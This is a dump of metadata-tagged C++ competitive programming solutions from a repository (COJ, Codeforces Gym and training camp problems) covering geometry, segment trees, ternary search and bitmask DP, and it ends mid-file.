"is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 263, "license_type": "no_license", "max_line_length": 49, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p2455-Accepted-s955161.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\tconst double g = 9.8;\r\n\tdouble m, t, p;\r\n\twhile (cin >> m >> t >> p) {\r\n\t\tcout << fixed << -t * log(1.0 - p) / g << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.360619455575943, "alphanum_fraction": 0.3849557638168335, "avg_line_length": 12.580645561218262, "blob_id": "da17c5033a9e6f38108eaeaeda0565c2ced34a94", "content_id": "c0bbed3b280a5d8e4b5715b855c36a4dc1443334", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 452, "license_type": "no_license", "max_line_length": 31, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3680-Accepted-s1009549.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nint m, w;\r\nint a[100005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> m >> w;\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tsort(a, a + m);\r\n\t\tint ans = m;\r\n\t\tfor (int i = 0; i < m; i++) {\r\n\t\t\tif (i != 0) {\r\n\t\t\t\ta[i] += a[i - 1];\r\n\t\t\t}\r\n\t\t\tif (a[i] > w) {\r\n\t\t\t\tans = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3019559979438782, "alphanum_fraction": 0.36369192600250244, "avg_line_length": 23.96825408935547, "blob_id": "8f6cb675bd578b2e052310a37070cbebad292206", "content_id": "e3a75958dccb9a832cb00e06db3e55c21b7b7c62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1636, "license_type": "no_license", "max_line_length": 87, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p3805-Accepted-s1120097.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\nconst double g = 9.8;\r\nconst double PI = 2.0 * asin(1.0);\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(2);\r\n\r\n\tlong long ix1, ix2, iy1, iy2, iv;\r\n\twhile (cin >> ix1 >> iy1 >> ix2 >> iy2 >> iv) {\r\n\t\tlong long ix = ix2 - ix1;\r\n\t\tlong long iy = iy2 - iy1;\r\n\r\n\t\tif (100LL * iv * iv * iv * iv < 98LL * 98LL * ix * ix + 2LL * 980LL * iy * iv * iv) {\r\n\t\t\tcout << \"Impossible\\n\";\r\n\t\t} else {\r\n\t\t\tdouble x = (double)ix;\r\n\t\t\tdouble y = (double)iy;\r\n\t\t\tdouble v = (double)iv;\r\n\r\n\t\t\tdouble a = g * x * x / (2.0 * v * v);\r\n\t\t\tdouble b = -x;\r\n\t\t\tdouble c = g * x * x / (2.0 * v * v) + y;\r\n\r\n\t\t\tdouble d = b * b - 4.0 * a * c;\r\n\t\t\tdouble t1 = (-b - sqrt(d)) / (2.0 * a);\r\n\t\t\tdouble t2 = (-b + sqrt(d)) / (2.0 * a);\r\n\t\t\tdouble a1 = atan(t1) * 180.0 / PI;\r\n\t\t\tdouble a2 = atan(t2) * 180.0 / PI;\r\n\t\t\tif (a1 > a2) {\r\n swap(a1, a2);\r\n\t\t\t}\r\n\t\t\tif (a1 < -EPS) {\r\n if (a2 < -EPS || a2 > 90.0 + EPS) {\r\n cout << \"Impossible\\n\";\r\n } else {\r\n if (a2 > 90.0) {\r\n a2 = 90.0;\r\n }\r\n if (a2 < 0.0) {\r\n a2 = 0.0;\r\n }\r\n cout << fixed << a2 << \"\\n\";\r\n }\r\n\t\t\t} else if (a1 > 90.0 + EPS) {\r\n cout << \"Impossible\\n\";\r\n\t\t\t} else {\r\n\t\t\t if (a1 > 90.0) {\r\n a1 = 90.0;\r\n\t\t\t }\r\n\t\t\t if (a1 < 0.0) {\r\n a1 = 0.0;\r\n\t\t\t }\r\n cout << fixed << a1 << \"\\n\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.334963321685791, "alphanum_fraction": 0.3643031716346741, "avg_line_length": 19.526315689086914, "blob_id": "8496b1a996909e93ee2b2a2cde2745f90a5f8237", "content_id": "6bce7e537c570e10ddf9686e9abeb3ab17531f25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 409, "license_type": "no_license", "max_line_length": 54, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1076-Accepted-s472641.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nchar x[20];\r\nint c,n,a[10000],b;\r\n\r\nint main(){\r\n cin >> c;\r\n while(c--){\r\n b=0;\r\n cin >> n;\r\n for(int i=0; i<n; i++)cin >> x >> a[i];\r\n sort(a,a+n);\r\n for(int i=0; i<n; i++)b+=abs(a[i]-i-1);\r\n cout << b << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3988245129585266, "alphanum_fraction": 0.42569270730018616, "avg_line_length": 15.260869979858398, "blob_id": "60a1a8af94a25826d545225764fec2447b29c1cb", "content_id": "42fa2d7bebe15be64e17cc741eb57393bd78344e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1191, "license_type": "no_license", "max_line_length": 43, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p1363-Accepted-s1018780.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-10;\r\n\r\ntypedef long double LD;\r\n\r\ninline LD power(LD x, int n) {\r\n\tLD res = 1;\r\n\twhile (n) {\r\n\t\tres *= x;\r\n\t\tn--;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int N = 100005;\r\n\r\nint t;\r\nint n;\r\nint x[N], y[N], p[N];\r\n\r\nLD solve(int n, int *x, int *p) {\r\n\tLD lo = x[0];\r\n\tLD hi = x[0];\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tlo = min(lo, (LD)x[i]);\r\n\t\thi = max(hi, (LD)x[i]);\r\n\t}\r\n\tconst int T = 350;\r\n\tfor (int it = 0; it < T; it++) {\r\n\t\tLD d = (hi - lo) / 3.0;\r\n\t\tLD a = lo + d;\r\n\t\tLD b = hi - d;\r\n\t\tLD fa = 0.0;\r\n\t\tLD fb = 0.0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfa += power(abs(a - (LD)x[i]), p[i]);\r\n\t\t\tfb += power(abs(b - (LD)x[i]), p[i]);\r\n\t\t}\r\n\t\tif (fa < fb) {\r\n\t\t\thi = b;\r\n\t\t} else {\r\n\t\t\tlo = a;\r\n\t\t}\r\n\t}\r\n\tLD val = (lo + hi) / 2.0;\r\n\tLD res = 0.0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tres += power(abs(val - (LD)x[i]), p[i]);\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> x[i] >> y[i] >> p[i];\r\n\t\t}\r\n\t\tLD ans = solve(n, x, p) + solve(n, y, p);\r\n\t\tcout << fixed << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3580060303211212, "alphanum_fraction": 0.40936556458473206, "avg_line_length": 20.827587127685547, "blob_id": "f89357b873a0be2bb5f91c1ffc9d1684af30ea38", "content_id": "3fad1c9285be431371f9e36eb5d25fabb6cd7ef5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 662, "license_type": "no_license", "max_line_length": 84, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2539-Accepted-s483763.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\nconst int INF = 10000000;\r\n\r\nint n,ac[501][501],dp[501][501],a[501];\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&n);\r\n for(int i=1; i<=n; i++)scanf(\"%d\",&a[i]);\r\n\r\n for(int i=1; i<=n; i++)ac[i][i]=a[i];\r\n\r\n for(int i=1; i<=n; i++)\r\n for(int j=i+1; j<=n; j++)ac[i][j]=ac[i][j-1]+a[j];\r\n\r\n for(int d=1; d<n; d++)\r\n for(int i=1; i<=n-d; i++)\r\n {\r\n int j=i+d;\r\n dp[i][j]=INF;\r\n for(int k=i; k<j; k++)\r\n dp[i][j]=min(dp[i][j],dp[i][k]+dp[k+1][j]+max(ac[i][k],ac[k+1][j]));\r\n }\r\n\r\n printf(\"%d\\n\",dp[1][n]);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4738824665546417, "alphanum_fraction": 0.4914615750312805, "avg_line_length": 21.15116310119629, "blob_id": "5cfb5086b2565b2ace2e6042b8a9a21a4e86c4f6", "content_id": "8e6e2accb62e53779f8f0de3aaffa85cde78dc43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3982, "license_type": "no_license", "max_line_length": 84, "num_lines": 172, "path": "/Caribbean-Training-Camp-2017/Contest_3/Solutions/G3-1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-10;\r\nconst double PI = acos(-1);\r\n\r\ninline int sign(const double x) {\r\n\treturn (x < -EPS) ? -1 : (x > EPS);\r\n}\r\n\r\nstruct point {\r\n\tdouble x, y;\r\n\tpoint() {}\r\n\tpoint(double _x, double _y) : x(_x), y(_y) {}\r\n};\r\n\r\ninline double cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\ninline double signed_area(const vector <point> &G) {\r\n\tdouble area = 0.0;\r\n\tint n = G.size();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint j = (i + 1 == n) ? 0 : i + 1;\r\n\t\tarea += cross(G[i], G[j]);\r\n\t}\r\n\treturn area * 0.5;\r\n}\r\n\r\ninline double abs_area(const vector <point> &G) {\r\n\treturn abs(signed_area(G));\r\n}\r\n\r\n/// a * x + b * y + c = 0\r\nstruct line {\r\n\tdouble a, b, c;\r\n\tdouble angle;\r\n\tline() {}\r\n\tline(double _a, double _b, double _c) : a(_a), b(_b), c(_c) {\r\n\t\tset_angle(); /// !!!\r\n\t}\r\n\tline(point P, point Q) {\r\n\t\tdouble dx = Q.x - P.x;\r\n\t\tdouble dy = Q.y - P.y;\r\n\t\tdouble len = sqrt(dx * dx + dy * dy);\r\n\t\tdx /= len;\r\n\t\tdy /= len;\r\n\t\ta = -dy;\r\n\t\tb = dx;\r\n\t\tc = -(a * P.x + b * P.y); // c = -cross(point(Q - P, P));\r\n\t\tset_angle(); /// !!!\r\n\t}\r\n\tinline int side(const point &P) {\r\n\t\treturn sign(a * P.x + b * P.y + c);\r\n\t}\r\n\tinline void set_angle() {\r\n\t\tangle = atan2(-a, b);\r\n\t}\r\n};\r\n\r\ninline point intersect(const line &a, const line &b) {\r\n\tdouble det = a.a * b.b - a.b * b.a;\r\n\t// assert(abs(det) > EPS); // !!!\r\n\tdouble det_x = (-a.c) * b.b - a.b * (-b.c);\r\n\tdouble det_y = a.a * (-b.c) - (-a.c) * b.a;\r\n\treturn point(det_x / det, det_y / det);\r\n}\r\n\r\nvector <point> half_planes_intersection(vector <line> all) {\r\n\tconst double INF = 1e9; /// segun el problema\r\n\tall.push_back(line(point(-INF, -INF), point(INF, -INF)));\r\n\tall.push_back(line(point(INF, -INF), point(INF, INF)));\r\n\tall.push_back(line(point(INF, INF), point(-INF, INF)));\r\n\tall.push_back(line(point(-INF, INF), point(-INF, -INF)));\r\n\tint n = all.size();\r\n\tsort(all.begin(), all.end(), [&](const line &a, const line &b) {\r\n\t\tif (sign(a.angle - b.angle) != 0) {\r\n\t\t\treturn a.angle < b.angle;\r\n\t\t}\r\n\t\treturn a.b < b.c;\r\n\t});\r\n\r\n\tint ptr = 1;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tif (sign(all[i].angle - all[ptr - 1].angle) == 0) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tall[ptr++] = all[i];\r\n\t}\r\n\r\n\tif (ptr > 1 && sign(all[0].angle - all[ptr - 1].angle - 2.0 * PI) == 0) {\r\n\t\tif (all[ptr - 1].c < all[0].c) {\r\n\t\t\tswap(all[ptr - 1], all[0]);\r\n\t\t}\r\n\t\tptr--;\r\n\t}\r\n\tall.resize(ptr);\r\n\tn = all.size();\r\n\r\n\tvector <line> Q(n);\r\n\tint head = 0;\r\n\tint tail = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\twhile (head + 1 < tail && all[i].side(intersect(Q[tail - 2], Q[tail - 1])) != 1) {\r\n\t\t\ttail--;\r\n\t\t}\r\n\t\twhile (head + 1 < tail && all[i].side(intersect(Q[head], Q[head + 1])) != 1) {\r\n\t\t\thead++;\r\n\t\t}\r\n\t\tQ[tail++] = all[i];\r\n\t}\r\n\twhile (head + 1 < tail && Q[head].side(intersect(Q[tail - 1], Q[tail - 2])) != 1) {\r\n\t\ttail--;\r\n\t}\r\n\twhile (head + 1 < tail && Q[tail - 1].side(intersect(Q[head], Q[head + 1])) != 1) {\r\n\t\thead++;\r\n\t} /// not sure\r\n\r\n\tvector <point> hull(tail - head);\r\n\tfor (int i = head; i < tail; i++) {\r\n\t\tint j = (i + 1 == tail) ? head : i + 1;\r\n\t\thull[i - head] = intersect(Q[i], Q[j]);\r\n\t}\r\n\treturn hull;\r\n}\r\n\r\n// Contest 3 Campamento UCI 2017 (Gleb)\r\n// Problem G\r\nvoid test_1() {\r\n\t// freopen(\"in.txt\", \"r\", stdin);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\r\n\tvector <point> G(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> G[i].x >> G[i].y;\r\n\t}\r\n\r\n\treverse(G.begin(), G.end());\r\n\r\n\tint lo = 1;\r\n\tint hi = n - 2;\r\n\tint answer = hi;\r\n\twhile (lo <= hi) {\r\n\t\tcerr << lo << \" \" << hi << \"\\n\";\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tvector <line> half_planes(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint j = (i + mid + 1) % n;\r\n\t\t\thalf_planes[i] = line(G[i], G[j]);\r\n\t\t}\r\n\t\tvector <point> hull = half_planes_intersection(half_planes);\r\n\t\tif (hull.size() < 3 || sign(abs_area(hull)) == 0) {\r\n\t\t\tanswer = mid;\r\n\t\t\thi = mid - 1;\r\n\t\t} else {\r\n\t\t\tlo = mid + 1;\r\n\t\t}\r\n\t}\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\ttest_1();\r\n}\r\n" }, { "alpha_fraction": 0.37547069787979126, "alphanum_fraction": 0.3916083872318268, "avg_line_length": 17.56842041015625, "blob_id": "e8672d91724ed304bf81eecde95e37e404ad9ef8", "content_id": "0d6932e4595a72110556b2e926378a0f1450be05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1859, "license_type": "no_license", "max_line_length": 59, "num_lines": 95, "path": "/COJ/eliogovea-cojAC/eliogovea-p3753-Accepted-s1042036.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10;\r\n\r\nint dp[N][1 << N];\r\n\r\nint ans[N][N];\r\n\r\ninline int getX(int pos, int n, int m) {\r\n\treturn pos / n;\r\n}\r\n\r\ninline int getY(int pos, int n, int m) {\r\n\treturn pos % n;\r\n}\r\n\r\ninline int getPos(int x, int y, int n, int m) {\r\n\treturn x * n + y;\r\n}\r\n\r\nint solve(int n, int m) {\r\n\tif (n > m) {\r\n\t\tswap(n, m);\r\n\t}\r\n\tif (ans[n][m] != -1) {\r\n\t\treturn ans[n][m];\r\n\t}\r\n\tint t = n * m;\r\n\tfor (int pos = 0; pos < t; pos++) {\r\n\t\tfor (int mask = 0; mask < (1 << t); mask++) {\r\n\t\t\tdp[pos][mask] = 0;\r\n\t\t}\r\n\t}\r\n\tfor (int pos = 0; pos < t; pos++) {\r\n\t\tdp[pos][1 << pos] = 1;\r\n\t}\r\n\tans[n][m] = 0;\r\n\tfor (int mask = 0; mask < (1 << t); mask++) {\r\n\t\tfor (int pos = 0; pos < t; pos++) {\r\n\t\t\tif (mask & (1 << pos)) {\r\n\t\t\t\tif (dp[pos][mask]) {\r\n\t\t\t\t\tans[n][m] += dp[pos][mask];\r\n\t\t\t\t\tint xp = getX(pos, n, m);\r\n\t\t\t\t\tint yp = getY(pos, n, m);\r\n\t\t\t\t\tfor (int next = 0; next < t; next++) {\r\n\t\t\t\t\t\tif (!(mask & (1 << next))) {\r\n\t\t\t\t\t\t\tint xn = getX(next, n, m);\r\n\t\t\t\t\t\t\tint yn = getY(next, n, m);\r\n\t\t\t\t\t\t\tint dx = xn - xp;\r\n\t\t\t\t\t\t\tint dy = yn - yp;\r\n\t\t\t\t\t\t\tint g = __gcd(abs(dx), abs(dy));\r\n\t\t\t\t\t\t\tdx /= g;\r\n\t\t\t\t\t\t\tdy /= g;\r\n\t\t\t\t\t\t\tbool ok = true;\r\n\t\t\t\t\t\t\tfor (int i = 1; i < g; i++) {\r\n\t\t\t\t\t\t\t\tint pp = getPos(xp + dx * i, yp + dy * i, n, m);\r\n\t\t\t\t\t\t\t\tif (!(mask & (1 << pp))) {\r\n\t\t\t\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (ok) {\r\n\t\t\t\t\t\t\t\tdp[next][mask | (1 << next)] += dp[pos][mask];\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn ans[n][m];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n for (int i = 1; i <= 3; i++) {\r\n\t\tfor (int j = 1; j <= 3; j++) {\r\n\t\t\tans[i][j] = -1;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tint cas = 1;\r\n\tint n, m;\r\n\twhile (cin >> n >> m) {\r\n\t\tif (n == 0 && m == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcout << \"Case #\" << cas++ << \": \" << solve(n, m) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37206822633743286, "alphanum_fraction": 0.4061833620071411, "avg_line_length": 21.878047943115234, "blob_id": "7fcb6c238b5f0f7ebd75a627693b2accf303f2ca", "content_id": "d73bdc905053bdcbd24da6666cd3b35dd830ea2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 938, "license_type": "no_license", "max_line_length": 58, "num_lines": 41, "path": "/Codeforces-Gym/100801 - 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest\n// 100801A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ndouble h, w;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n freopen(\"alex.in\", \"r\", stdin);\n freopen(\"alex.out\", \"w\", stdout);\n cin >> h >> w;\n double lo = 0;\n double hi = min(h, w);\n for (int i = 0; i < 200; i++) {\n double mid = (lo + hi) / 2.0;\n double x = 3.0 * mid;\n double y = mid;\n bool ok = false;\n if ((x <= w && y <= h) || (x <= h) && y <= w) {\n ok = true;\n }\n x = 2.0 * mid;\n y = 2.0 * mid;\n if ((x <= w && y <= h) || (x <= h) && y <= w) {\n ok = true;\n }\n if (ok) {\n lo = mid;\n } else {\n hi = mid;\n }\n }\n double ans = (lo + hi) / 2.0;\n cout.precision(10);\n cout << fixed << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.2951456308364868, "alphanum_fraction": 0.3262135982513428, "avg_line_length": 17.80769157409668, "blob_id": "a5a40558689b470aa49bf1df20080eec760301c9", "content_id": "6313f0f7b96698f5b60c29d4a08832334256a3cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 515, "license_type": "no_license", "max_line_length": 43, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p3058-Accepted-s726438.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring s;\r\nchar c;\r\nlong long cnt[10], ac, ans;\r\n\r\nint main() {\r\n cin >> s;\r\n cnt[0] = 1;\r\n for (int i = 0; s[i]; i++) {\r\n c = s[i];\r\n if (c < '0' || c > '9') {\r\n cnt[0] = cnt[1] = cnt[2] = 0LL;\r\n ac = 0LL;\r\n cnt[0] = 1LL;\r\n } else {\r\n ac += (long long)('0' + c);\r\n ac %= 3LL;\r\n ans += cnt[ac];\r\n cnt[ac]++;\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.42151087522506714, "alphanum_fraction": 0.44916772842407227, "avg_line_length": 19.661375045776367, "blob_id": "c533a7d67e8872e383e84ead3c324adf76fb41b2", "content_id": "a2b94ea6ae31562875fe717e3596c984a7a9f143", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3905, "license_type": "no_license", "max_line_length": 88, "num_lines": 189, "path": "/Codeforces-Gym/101246 - 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2010-2011 ACM-ICPC, NEERC, Southern Subregional Contest\n// 101246H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint n;\n\nstruct pt {\n\tint x, y, id;\n} P[N];\n\nbool operator < (const pt &a, const pt &b) {\n\tif (a.x != b.x) {\n\t\treturn a.x < b.x;\n\t}\n\treturn a.y > b.y;\n}\n\nint stMax[4 * N];\n\nvoid buildMax(int id, int l, int r) {\n\tstMax[id] = 0;\n\tif (l != r) {\n\t\tint mid = (l + r) >> 1;\n\t\tbuildMax(2 * id, l, mid);\n\t\tbuildMax(2 * id + 1, mid + 1, r);\n\t}\n}\n\nvoid updateMax(int id, int l, int r, int p, int v) {\n\tif (p < l || p > r) {\n\t\treturn;\n\t}\n\tif (l == r) {\n\t\tstMax[id] = max(stMax[id], v);\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tupdateMax(2 * id, l, mid, p, v);\n\t\tupdateMax(2 * id + 1, mid + 1, r, p, v);\n\t\tstMax[id] = max(stMax[2 * id], stMax[2 * id + 1]);\n\t}\n}\n\nint queryMax(int id, int l, int r, int ql, int qr) {\n\tif (l > qr || r < ql) {\n\t\treturn 0;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn stMax[id];\n\t}\n\tint mid = (l + r) >> 1;\n\treturn max(queryMax(2 * id, l, mid, ql, qr), queryMax(2 * id + 1, mid + 1, r, ql, qr));\n}\n\nint stMin[4 * N];\n\nvoid buildMin(int id, int l, int r) {\n\tstMin[id] = 1e9;\n\tif (l != r) {\n\t\tint mid = (l + r) >> 1;\n\t\tbuildMin(2 * id, l, mid);\n\t\tbuildMin(2 * id + 1, mid + 1, r);\n\t}\n}\n\nvoid updateMin(int id, int l, int r, int p, int v) {\n\tif (p < l || p > r) {\n\t\treturn;\n\t}\n\tif (l == r) {\n\t\tstMin[id] = min(stMax[id], v);\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tupdateMin(2 * id, l, mid, p, v);\n\t\tupdateMin(2 * id + 1, mid + 1, r, p, v);\n\t\tstMin[id] = min(stMin[2 * id], stMin[2 * id + 1]);\n\t}\n}\n\nint queryMin(int id, int l, int r, int ql, int qr) {\n\tif (l > qr || r < ql) {\n\t\treturn 1e9;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn stMin[id];\n\t}\n\tint mid = (l + r) >> 1;\n\treturn min(queryMin(2 * id, l, mid, ql, qr), queryMin(2 * id + 1, mid + 1, r, ql, qr));\n}\n\n\nvector <int> Y;\n\nint dp[N];\n\nbool ok[N];\nvector <pair <int, int> > v;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\tcin >> n;\n\tY.resize(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> P[i].x >> P[i].y;\n\t\tP[i].id = i;\n\t\tY[i] = P[i].y;\n\t}\n\n\tsort(Y.begin(), Y.end());\n\tY.erase(unique(Y.begin(), Y.end()), Y.end());\n\n\tfor (int i = 0; i < n; i++) {\n\t\tP[i].y = lower_bound(Y.begin(), Y.end(), P[i].y) - Y.begin();\n\t}\n\n\tsort(P, P + n);\n\n\tbuildMax(1, 0, Y.size() - 1);\n\tfor (int i = n - 1; i >= 0; i--) {\n if (P[i].y + 1 == Y.size()) {\n dp[P[i].id] = 1;\n } else {\n dp[P[i].id] = 1 + queryMax(1, 0, Y.size() - 1, P[i].y + 1, Y.size() - 1);\n }\n\t\t//cerr << P[i].id + 1 << \" \" << dp[ P[i].id ] << \"\\n\";\n\t\tupdateMax(1, 0, Y.size() - 1, P[i].y, dp[P[i].id]);\n\t}\n\n\tbuildMin(1, 0, Y.size() - 1);\n\tint mx = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tmx = max(mx, dp[i]);\n\t}\n\n\t//cerr << \"mx \" << mx << \"\\n\";\n\tfor (int i = 0; i < n; i++) {\n\t\tif (dp[P[i].id] == mx) {\n\t\t\tok[P[i].id] = true;\n\t\t} else {\n\t\t\tif (P[i].y > 0) {\n\t\t\t\tint mn = queryMin(1, 0, Y.size() - 1, 0, P[i].y - 1);\n\t\t\t\tif (mn <= dp[P[i].id] + 1) {\n\t\t\t\t\tok[P[i].id] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (ok[P[i].id]) {\n\t\t\tupdateMin(1, 0, Y.size() - 1, P[i].y, dp[P[i].id]);\n\t\t\tv.push_back(make_pair(dp[P[i].id], P[i].id));\n\t\t}\n\t}\n\tsort(v.begin(), v.end());\n\tvector <int> a, b;\n\tfor (int i = 0, j = 0; i <= v.size(); i++) {\n\t\tif (i < v.size()) {\n //cerr << \"--->> \" << v[i].first << \" \" << v[i].second + 1 << \"\\n\";\n\t\t\ta.push_back(v[i].second + 1);\n\t\t}\n\t\tif (i == v.size() || v[i].first != v[j].first) {\n\t\t\tif (i - j == 1) {\n //cerr << \"insert b \" << v[j].second << \"\\n\";\n\t\t\t\tb.push_back(v[j].second + 1);\n\t\t\t}\n\t\t\tj = i;\n\t\t}\n\t}\n\tsort(a.begin(), a.end());\n\tcout << a.size();\n\tfor (int i = 0; i < a.size(); i++) {\n\t\tcout << \" \" << a[i];\n\t}\n\tcout << \"\\n\";\n\tsort(b.begin(), b.end());\n\tcout << b.size();\n\tfor (int i = 0; i < b.size(); i++) {\n\t\tcout << \" \" << b[i];\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.30283504724502563, "alphanum_fraction": 0.3298968970775604, "avg_line_length": 20.171428680419922, "blob_id": "d15f644e2d3410c4bc277d162dc9033e64f04137", "content_id": "209af423b6cf0b5822ffba1926a9cf431e1c595e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 776, "license_type": "no_license", "max_line_length": 69, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p1853-Accepted-s469250.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nstruct pto{\r\n int x,y;\r\n };\r\n \r\nbool no_al(pto a, pto b, pto c){\r\n int x1 = b.x-a.x;\r\n int x2 = c.x-a.x;\r\n int y1 = b.y-a.y;\r\n int y2 = c.y-a.y;\r\n \r\n return x1*y2-y1*x2;\r\n }\r\n\r\npto p[130];\r\nint 